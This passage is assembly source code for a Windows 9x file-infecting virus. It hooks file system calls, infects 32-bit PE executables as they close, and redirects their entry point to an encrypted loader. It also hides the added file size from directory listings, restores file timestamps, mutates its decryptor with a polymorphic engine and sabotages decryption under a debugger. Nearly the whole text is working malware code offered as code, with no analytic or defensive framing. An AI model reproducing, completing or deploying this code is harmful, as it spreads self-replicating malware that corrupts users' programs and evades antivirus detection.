sub [edi.ir_pos],ecx
jmp xx_ifs_ret
;/* Subroutine: check if file is an infected MZ PE file */
checkfile: pushad
xor ecx,ecx
mov esi,[ebp+fsd_read]
mov eax,40h
call FSD ; Read MZ header
jc not_ok
cmp word ptr [edx],'ZM'
jnz not_ok
mov ecx,[edx+3Ch]
cmp ecx,1000h
ja not_ok
mov [ebp+PE_RVA],ecx
mov eax,400h
call FSD ; Read PE header
jc not_ok
cmp word ptr [edx],'EP'
jnz not_ok
cmp byte ptr [edx+15],1
jnz not_ok
popad
ret
not_ok: stc
popad
ret
;*********************************************************
;* *
;* EnumHandle: return original filesize, *
;*********************************************************
EnumHandle: call next_hooker
mov esi,[edi.ir_data]
mov eax,[esi.bhfi_nFileSizeLow] ; EAX holds filesize
sub eax,vsize ; subtract virus' aligned size
test eax,file_align
jnz xx_ifs_ret
mov [esi.bhfi_nFileSizeLow],eax
xx_ifs_ret: xor eax,eax
mov dr0,eax
jmp exit_ifs_hook
;*********************************************************
;* *
;* Store the FSD that is to be called for writing and *
;* filetime (used while infecting). *
;*********************************************************
FileWrite: mov [ebp+fsd_write],edx
jz next_ifs_hook
FileTime: mov [ebp+fsd_filetime],edx
jz next_ifs_hook
;*********************************************************
;* *
;* FindFirst and FindNext filesize stealth, *
;*********************************************************
FindFile:
call next_hooker
mov esi,[edi.ir_data]
mov eax,[esi.nFileSizeLow] ; EAX holds filesize
sub eax,vsize ; subtract virus' aligned size (virus size/103+1*103)
test eax,file_align
jnz xx_ifs_ret
mov [esi.nFileSizeLow],eax
jmp xx_ifs_ret
;*********************************************************
;* *
;* Open file: set read/write access to all opened *
;* files. *
;*********************************************************
;/* Set read/write access to the opened file, so we can infect it on closing */
FileOpen: test word ptr [edi.ir_options],ACTION_OPENEXISTING
jz next_ifs_hook
mov [edi.ir_flags],ACCESS_READWRITE or ACCESS_EXECUTE ; full access...
jmp next_ifs_hook
;********************************************************
;* *
;* Infect closing files by writing virus to the *
;* open handle (before closing ofcourse) *
;********************************************************
;/* Check if we have both the read and write FSD functions stored */
FileClose: mov esi,[ebp+fsd_read]
test esi,esi
jz ret_hook
mov ebx,[ebp+fsd_write]
test ebx,ebx
ret_hook: jz next_ifs_hook
cmp [edi.ir_ppath],0FFFFFBBBh ; is IO request is valid?
jnz next_ifs_hook
;/* Check if the closing file is an MZ executable */
xor ecx,ecx ; read from position 0
lea edx,[ebp+FileBuffer] ; read into this buffer
mov eax,60h ; length of buffer to read
call FSD
jc next_ifs_hook
IF DEBUG
cmp dword ptr [edx],'xxZM' ; prepared goat file?
ELSE
cmp word ptr [edx],'ZM' ; MZ executable?
ENDIF
jnz next_ifs_hook ; return if not..
;/* Get the file's "last modified" timestamp */
pushad
mov ebx,[ebp+fsd_filetime]
test ebx,ebx
jz forget_time
lea eax,[ebp+our_ioreq]
mov [eax.ir_flags],GET_MODIFY_DATETIME
push [edi.ir_rh]
pop [eax.ir_rh]
push [edi.ir_fh]
pop [eax.ir_fh]
push eax
call ebx ; get last modified time
pop eax
push [eax.ir_aux2]
pop [ebp+ddFileTime]
forget_time: popad
;_________________________________ (infection algorithm)
;/* Check if the closing file is an 32-bit Portable Executable */
mov ecx,[edx+3Ch] ; get pointer to NewExe header
cmp ecx,1000h ; corrupt pointer?
ja next_ifs_hook ; return if corrupt.
mov [ebp+PE_RVA],ecx
mov eax,800h ; read 800h bytes at offset ECX into EDX buffer
call FSD ; using direct FSD access..
jc next_ifs_hook
cmp word ptr [edx],'EP' ; is it a PE header?
jnz next_ifs_hook ; return if not 32-bit Portable Executable
cmp byte ptr [edx+15],0 ; infected?
jnz next_ifs_hook
;/* Check if a library file (as in DLL) */
IF AVOIDDLL
mov ax,[edx.IFH_Characteristics]
or ax,IMAGE_FILE_DLL
jz next_ifs_hook
ENDIF
inc byte ptr [edx+15] ; mark header infected
;/* Gather information from PE header and null checksum */
push [edx.IFH_TimeDateStamp] ; store time stamp (for encryption, as a part of the key)
pop [ebp+CryptKey]
push [edx.NTOH_FileAlignment] ; store file alignement
pop [ebp+Alignement]
push [edx.NTOH_EntryPointRVA] ; EntryPoint RVA...
pop [ebp+EntryPointRVA]
push [edx.NTOH_SizeOfCode] ; code size..
pop [ebp+CodeSize]
push [edx.NTOH_SizeOfImage] ; ImageSize
pop [ebp+ImageSize]
push [edx.NTOH_CheckSum] ; Checksum
pop [ebp+CheckSum]
xor eax,eax
mov [edx.NTOH_CheckSum],eax ; Null checksum (linker default)
;/* Locate the Object headers in PE structure */
mov esi,[edx.NTOH_EntryPointRVA] ; ESI holds EP RVA
movzx eax,word ptr [edx.IFH_SizeOfOptionalHeader] ; EAX = NT header size
pushad
add eax,24 ; + Image file header
movzx ecx,word ptr [edx.IFH_NumberOfSections] ; get nr. of sections
inc ecx ; +1 empty section
imul ecx,ecx,40 ; multiply it with section header size
add eax,ecx ; EAX = RVA/offset to virus stealth data area (from PE header)
add eax,edx ; EAX pts to virus stealth data area in memory
mov [ebp+StealthData],eax
popad
sub eax,16 ; EAX = Object Table position -40
mov ecx,edx
add ecx,eax
add edx,eax
;/* Check if host PE header contains anough free space for our stealth table */
pushad
mov esi,[ebp+StealthData]
mov ecx,stealth_table_size
chk_table_space:lodsb
test al,al
jnz stack_fix_3 ; Exit with stackfix if PE header does not contain a cave
loop chk_table_space ; big anough for our stealth table.
popad
;/* Locate CODE section, wich is, the section EntryPoint RVA points inside */
find_code: add edx,40
cmp dword ptr [edx.ObjectName],0
jz next_ifs_hook
mov eax,[edx.RVA] ; get start RVA of section
cmp esi,eax
jb find_code ; try again if EntryPoint RVA is below section RVA
add eax,[edx.PhysicalSize] ; get end RVA of section
cmp esi,eax
ja find_code ; try again if EntryPoint RVA points to after end RVA
;/* Check if CODE section contains a big anough cave for our loader */
mov eax,[edx.VirtualSize]
sub eax,[edx.PhysicalSize]
cmp eax,patchsize ; is the virus' patch size bigger than gap between Vsize and Psize?
jb next_ifs_hook ; exit infection if cave in CODE section is too small
;/* Get last section header */
push esi
push edi
xor esi,esi
get_last_sec: add ecx,40 ; get first/next section header
cmp [ecx.Flags],0 ; reached end of section headers?
je got_last_hdr
cmp esi,[ecx.PhysicalOffset] ; is ESI below this offset
ja get_last_sec ; if not, check next
mov esi,[ecx.PhysicalOffset] ; ESI = Offset of this section
mov edi,ecx ; EDI points to this section header
jmp get_last_sec
got_last_hdr: xchg ecx,edi
pop edi
pop esi
xchg ebx,esi ; ESI holds FSD write function
; EDX pts to CODE section header
; ECX pts to last section header
;/* Store original copies of infected object headers and PE header values in virus' stealth table */
pushad
push edx
push ecx
mov esi,ecx
mov edi,[ebp+StealthData]
mov ecx,40
rep movsb
mov esi,edx
mov ecx,40
rep movsb
lea esi,[ebp+FileBuffer]
pop eax
sub eax,esi
stosd ; store PE RVA of last section
pop eax
sub eax,esi
stosd ; store PE RVA of CODE section
mov eax,[esi.NTOH_EntryPointRVA]
stosd
lea esi,[ebp+ImageSize]
mov ecx,12
rep movsb
popad
;/* Set write bit to CODE section (to write decryption) */
or dword ptr [edx.Flags],IMAGE_SCN_MEM_WRITE
;/* Set new EntryPoint RVA */
lea ebx,[ebp+FileBuffer] ; EBX pts to PE header
mov eax,[edx.RVA] ; EAX holds RVA of code section
add eax,[edx.PhysicalSize] ; EAX holds our new EntryPoint RVA
pushad
sub eax,[ebx.NTOH_EntryPointRVA] ; EAX = New EP RVA - Old EP RVA
mov [ebp+HostPtr],eax ; store difference between virus loader RVA and old EP RVA
popad
mov [ebx.NTOH_EntryPointRVA],eax ; Set new EntryPoint RVA
;/* Store offset where to write virus loader as we'll need it later.. */
mov eax,[edx.PhysicalOffset]
add eax,[edx.PhysicalSize]
push eax ; store offset to write virus loader on stack
;/* Set new PhysicalSize for CODE section and update flags */
add [edx.PhysicalSize],patchsize ; set CODE sections new size
or [edx.Flags],IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
mov eax,[ecx.RVA]
add eax,[ecx.VirtualSize] ; EAX holds RVA of virus body
sub eax,[ebx.NTOH_EntryPointRVA] ; - Virus loader RVA = our DiffPtr (for exeption hook in loader)
mov [ebp+DiffPtr],eax
;/* Get offset where to write virus */
mov eax,[ecx.PhysicalOffset]
add eax,[ecx.VirtualSize]
push eax ; store offset to write virus body
;/* increase last sections' PhysicalSize */
mov eax,[ecx.VirtualSize]
add eax,vsize
mov [ecx.PhysicalSize],eax ; set new size for virus' section
;/* Update VirtualSize in last section header, ImageSize and CodeSize in PE header */
pushad
add [ecx.VirtualSize],virus_aligned
lea eax,[ebp+FileBuffer]
mov edx,[eax.RVA]
add edx,[ecx.VirtualSize]
mov [eax.NTOH_SizeOfImage],edx
cmp [eax.NTOH_SizeOfCode],0
je @@jabba
add [eax.NTOH_SizeOfCode],patchsize
@@jabba: popad
;/* Set new flags for virus' section */
or [ecx.Flags],IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
;/* write edited PE header */
mov eax,800h ; EAX = size of buffer to write
mov ecx,[ebp+PE_RVA] ; ECX holds position of to where to write the data
lea edx,[ebp+FileBuffer]
call FSD
jc stack_fix_2
;/* Generate new encryption keys, mutate virus decryptor, and encrypt
; virus main body in 2 layers. */
pushad
call MutateCryptors
call MutateHeader
VxdCall VMM_Get_System_Time ; returns the time, in milliseconds, since windoze started
bswap eax ; in case the counter is low, swap some values..
neg eax ; ....
mov ecx,[ebp+CryptKey] ; get previously stored key
add eax,ecx
mov [ebp+TopCryptKey],eax
rcr ecx,1
mov edx,[ebp+MainTopLayerKey]
xor ecx,edx
add ecx,edx
mov [ebp+MainTopLayerKey],ecx
xor eax,ecx ; xor millisecond counter with PE TimeDate stamp
bswap eax
xchg eax,ebx ; EBX holds our encryption key
mov [ebp+CryptKey],ebx
pushad
VxdCall VMM_Get_System_Time
cmp al,10h
jae loops_ok
sub al,10h
loops_ok: mov [ebp+PolyLoops],al
popad
call ProcessKey
lea esi,[ebp+vstart]
lea edi,[ebp+CryptMirror]
push edi
mov ecx,vsize
rep movsb
pop esi
push esi
add esi,(encrypted - vstart) ; ESI points to start of encrypted virus in mirror mem.
call poly_encrypt
pop esi
call SimpleCrypt
popad
;/* Write encrypted code to file */
mov eax,vsize
pop ecx ; offset to write virus body
lea edx,[ebp+CryptMirror]
call FSD
jc stack_fix_1
;/* write virus loader into CODE section */
pop ecx ; offset to write virus loader
mov eax,patchsize
IF TOPCRYPT
pushad
call TopCryptEnc
popad
lea edx,[ebp+LoaderBuffer]
ELSE
lea edx,[ebp+loader]
ENDIF
call FSD
jc nextifs
;_________________________________ (end of infection algorithm)
;/* Restore original last modified time */
pushad
mov ebx,[ebp+fsd_filetime]
test ebx,ebx
jz __forget_time
mov eax,[ebp+ddFileTime]
test eax,eax
jz __forget_time
push eax
lea eax,[ebp+our_ioreq]
pop [eax.ir_aux2]
mov [eax.ir_flags],SET_MODIFY_DATETIME
push [edi.ir_rh]
pop [eax.ir_rh]
push [edi.ir_fh]
pop [eax.ir_fh]
push eax
call ebx
pop eax
__forget_time: popad
;/* Return to next IFS hook.. (some stackfixes) */
jmp nextifs
stack_fix_2: add esp,4
stack_fix_1: add esp,4
jmp nextifs
stack_fix_3: popad
nextifs: jmp next_ifs_hook
;********************************************************
;* *
;* Our function for calling FSD. returns carry flag set *
;* if error *
;********************************************************
FSD: pushad
clc
push eax
lea eax,[ebp+our_ioreq]
pop [eax.ir_length]
push [edi.ir_rh]
pop [eax.ir_rh]
push [edi.ir_fh]
pop [eax.ir_fh]
mov [eax.ir_pos],ecx
mov [eax.ir_data],edx
push eax
call esi ; read the file using direct FSD access
pop eax
mov cx,[eax.ir_error]
test cx,cx
jz no_fsd_error
stc
no_fsd_error: popad
ret
comment $
*** Sanatral mutation engine ***
#1 change the dummy byte at "@dummy" to a random one
#2 change the pop-push bytes at "@stackregz" to eax,ebx,ecx,edx,esi,edi on random basis,
and change the instructions at "@xchgfix" and at "@addfix" with respective register.
#3 change the register used in "@ifix1" (mov REG,esp -> call REG) to any of the register-
options in #2 (won't affect delta)
#4 change the 3 bytes at "@ifix2" to "add esp,4", or "pop eax,,nop,,nop".
#5 change the 6 bytes at "@ifix3" to either "mov ebx,(dword-key) ,, nop" or "push (dword-key),,
pop ebx" (key offset will not be affected)
#6 change the 5 bytes at "@ifix4" to either "mov ecx,(TopCryptSize-3)" or
"push (TopCryptSize - 3),,pop ecx,,nop,,nop"
#7 change word at "@ifix5" to either "mov edi,esi" or "push esi,,pop edi"
#8 change 5 bytes at "@ifix6" to "mov eax,[esi],,add esi,4" or "losd,,nop,,nop,,nop,,nop"
#9 change 3 bytes at "@ifix7" to either "sub esi,3" or "dec esi,,dec esi,,dec esi"
#10 change word at "@ifix8" to either "mov [edi],eax", or "stosd,,nop" (won't need to add to
edi since we won't use it)
finally, mutate the encryption and decryption algorithms for TopCrypt.
$
GetRandomEAX: VxdCall VMM_Get_System_Time
neg eax
xor eax,[ebp+CryptKey]
bswap eax
xor eax,[ebp+MutatedKey]
add eax,[ebp+CryptKey]
ret
;#### STEP 1 #####
MutateHeader: pushad
call GetRandomEAX
mov byte ptr [ebp+@dummy],al
;#### STEP 2 #####
pushad
;/* get a random counter between 0 and 4 */
xor ecx,ecx
mov cl,al
substep2: sub cl,5
cmp cl,5
jae substep2
;/* get table entry for the random counter */
imul ecx,ecx,t1entrysize
lea esi,[ebp+MutationTable1]
add esi,ecx
;/* replace instructions with new from table entry */
lea edi,[ebp+@stackregz]
lodsw
stosw
PUSH ESI
lea edi,[ebp+@addfix]
mov ecx,3
rep movsb
POP ESI
ADD ESI,3
lea edi,[ebp+@xchgfix]
lodsw
stosw
popad
;#### STEP 3 #####
shr eax,4
;/* get a random counter between 0 and 4 */
pushad
xor ecx,ecx
mov cl,al
substep1: sub cl,5
cmp cl,5
jae substep1
;/* get table entry for the random counter */
imul ecx,ecx,t2entrysize
lea esi,[ebp+MutationTable2]
add esi,ecx
;/* replace instructions with new from table entry */
lea edi,[ebp+@ifix1]
mov ecx,t2entrysize
rep movsb
popad
shr eax,4
;#### STEP 4 #####
pushad
step4_comb1: lea esi,[ebp+MutationTable3]
cmp al,90h
ja step4_comb2
add esi,3
step4_comb2: lea edi,[ebp+@ifix2]
mov ecx,3
rep movsb
popad
;#### STEP 5 #####
shr eax,4
pushad
lea esi,[ebp+MutationTable4]
cmp al,90h
ja step5_comb2
add esi,6
step5_comb2: lea edi,[ebp+@ifix3]
mov ecx,6
rep movsb
popad
;#### STEP 6 #####
call GetRandomEAX
pushad
step6_comb1: lea esi,[ebp+MutationTable5]
cmp al,90h
ja step6_comb2
add esi,5
step6_comb2: lea edi,[ebp+@ifix4]
mov ecx,5
rep movsb
popad
;#### STEP 7 ####
shr eax,4
pushad
step7_comb1: lea esi,[ebp+MutationTable6]
cmp al,80h
ja step7_comb2
add esi,2
step7_comb2: lea edi,[ebp+@ifix5]
lodsw
stosw
popad
;#### STEP 8 ####
shr eax,4
pushad
step8_comb1: lea esi,[ebp+MutationTable7]
cmp al,90h
ja step8_comb2
add esi,5
step8_comb2: lea edi,[ebp+@ifix6]
mov ecx,5
rep movsb
popad
;#### STEP 9 ####
shr eax,4
pushad
step9_comb1: lea esi,[ebp+MutationTable8]
cmp al,90h
ja step9_comb2
add esi,3
step9_comb2: lea edi,[ebp+@ifix7]
mov ecx,3
rep movsb
popad
;#### STEP 10 ####
shr eax,4
step10_comb1: lea esi,[ebp+MutationTable9]
cmp al,90h
ja step10_comb2
add esi,2
step10_comb2: lea edi,[ebp+@ifix8]
lodsw
stosw
popad
ret
;/*** Mutation tables ***/
MutationTable1: pop ebx
push ebx
add ebx,(TopCrypt-@addfix)
xchg ebx,esi
t1entrysize equ $ - MutationTable1
pop ecx
push ecx
add ecx,(TopCrypt-@addfix)
xchg ecx,esi
pop edx
push edx
add edx,(TopCrypt-@addfix)
xchg edx,esi
pop esi
push esi
add esi,(TopCrypt-@addfix)
xchg esi,esi
pop edi
push edi
add edi,(TopCrypt-@addfix)
xchg edi,esi
MutationTable2: mov ebx,esp
call ebx
t2entrysize equ $ - MutationTable2
mov ecx,esp
call ecx
mov edx,esp
call edx
mov esi,esp
call esi
mov edi,esp
call edi
MutationTable3: add esp,4
pop eax
nop
nop
MutationTable4: mov ebx,12345678h
nop
push 12345678h
pop ebx
MutationTable5: mov ecx,(TopCryptSize-3)
push (TopCryptSize - 3)
pop ecx
nop
nop
MutationTable6: mov edi,esi
push esi
pop edi
MutationTable7: mov eax,[esi]
add esi,4
lodsd
nop
nop
nop
nop
MutationTable8: sub esi,3
dec esi
dec esi
dec esi
MutationTable9: stosd
nop
mov [edi],eax
dec_table: xor eax,ebx
rol eax,1
add eax,ebx
xor eax,ebx
bswap eax
sub eax,ebx
xor eax,ebx
ror eax,1
bswap eax
xor eax,ebx
add eax,ebx
rol eax,1
xor eax,ebx
bswap eax
cr_table_size equ $ - dec_table
cr_table_nr equ (cr_table_size / 2)
bswap eax
xor eax,ebx
ror eax,1
sub eax,ebx
xor eax,ebx
bswap eax
rol eax,1
xor eax,ebx
add eax,ebx
bswap eax
xor eax,ebx
sub eax,ebx
ror eax,1
xor eax,ebx
enc_table:
GenerateAlgo: pushad
call GetRandomEAX
tbl_loop: sub al,cr_table_nr-3
cmp al,cr_table_nr-3
jae tbl_loop
shl eax,24
shr eax,24
add eax,eax
lea esi,[ebp+dec_table]
add esi,eax
pushad
lea edi,[ebp+dec_algo]
mov ecx,6
rep movsb
popad
lea esi,[ebp+enc_table-6]
sub esi,eax
lea edi,[ebp+enc_algo]
mov ecx,6
rep movsb
popad
ret
;/* A simple addon for mutating all encryptions and decryptions some */
MutateCryptors: call GenerateAlgo
pushad
lea esi,[ebp+enc_algo]
lea edi,[ebp+simple_enc]
mov ecx,6
rep movsb
lea esi,[ebp+dec_algo]
lea edi,[ebp+simple_dec]
mov ecx,6
rep movsb
popad
call GenerateAlgo
pushad
lea esi,[ebp+enc_algo]
lea edi,[ebp+main_enc]
mov ecx,6
rep movsb
lea esi,[ebp+dec_algo]
lea edi,[ebp+main_dec]
mov ecx,6
rep movsb
popad
call GenerateAlgo
ret
;/* 32-bit main encryption, 16 to 255 layers */
poly_encrypt: xor ecx,ecx
mov cl,byte ptr [ebp+PolyLoops]
encloop2: ror ebx,1
bswap ebx
neg ebx
add ebx,[ebp+CryptKey]
pushad
mov ecx,encryptedsize-4
encrypt_dword: pushad
mov edi,esi
lodsd
xor eax,ebx
sub eax,ebx
neg eax
ror eax,1
bswap eax
xor eax,ebx
not eax
xor eax,ebx
bswap ebx
xor eax,ebx
bswap ebx
main_enc: db 6 dup (90h)
ror eax,3
add eax,ebx
xor eax,ebx
stosd
popad
inc esi
loop encrypt_dword
popad
loop encloop2
ret
;_________________________________
ProcessKey: pushad
xor ecx,ecx
mov cl,byte ptr [ebp+PolyLoops]
rorloop: ror ebx,1 ; ror shift key 16 to 255 times to match our encryption
bswap ebx
neg ebx
add ebx,[ebp+CryptKey]
loop rorloop
mov [ebp+MutatedKey],ebx
popad
ret
encryptedsize equ $ - encrypted ; end of encrypted body (polymorphic)
;_________________________________
;/* 32-bit main decryptor */
CryptKey dd ?
poly_decrypt: mov esp,[esp+8] ; gets the ESP when SEH was set
pop dword ptr fs:[0]
add esp,4
popad ; restore registers
pushad
getkey: mov ebx,00000000h ; EBX holds decryptor key
MutatedKey equ dword ptr [$-4]
mov ecx,fs:[20h]
jecxz dcloop1
rcr ebx,3 ; corrupt decryptor key, we're being debugged... results in that the decryptor
dcloop1: pushad ; loop will turn into an infinite loop and hang execution ;)
mov ecx,encryptedsize-4
add esi,encryptedsize-4-1
decrypt_dword: pushad
mov edi,esi
lodsd
xor eax,ebx
sub eax,ebx
rol eax,3
main_dec: db 6 dup (90h)
bswap ebx
xor eax,ebx
bswap ebx
xor eax,ebx
not eax
xor eax,ebx
bswap eax
rol eax,1
neg eax
add eax,ebx
xor eax,ebx
stosd
popad
dec esi
loop decrypt_dword
popad
;/* Mutate key backwards (compared to the encryption algo.) */
sub ebx,[ebp+CryptKey]
neg ebx
bswap ebx
rol ebx,1 ; rol shift key one step back towards the original first-layer key..
cmp ebx,[ebp+CryptKey] ; does our result match the original key?
jnz dcloop1 ; continue decrypting if not (16 to 255 loops)
popad
end_decrypt: jmp install
lsize equ $ - vstart
;********************************************************
;* *
;* Data buffering memory *
;********************************************************
data:
CryptMirror db 2000h dup (0)
;ZeroBuffer db 2000h dup (0)
FileBuffer db 2000h dup (?)
PE_RVA dd ?
PE_SIZE dd ?
LoaderOffs dd ?
fsd_read dd ?
fsd_write dd ?
fsd_seek dd ?
fsd_filetime dd ?
our_ioreq ioreq <?>
seek_ioreq ioreq <?>
Alignement dd ?
StealthData dd ?
EntryPointRVA dd ?
ImageSize dd ?
CodeSize dd ?
CheckSum dd ?
ddFileTime dd ?
FileSize dd ?
PolyLoops db ?
st_data dd ?
st_pos dd ?
LoaderBuffer db (patchsize + 10) dup (?)
end_data:
ends
end start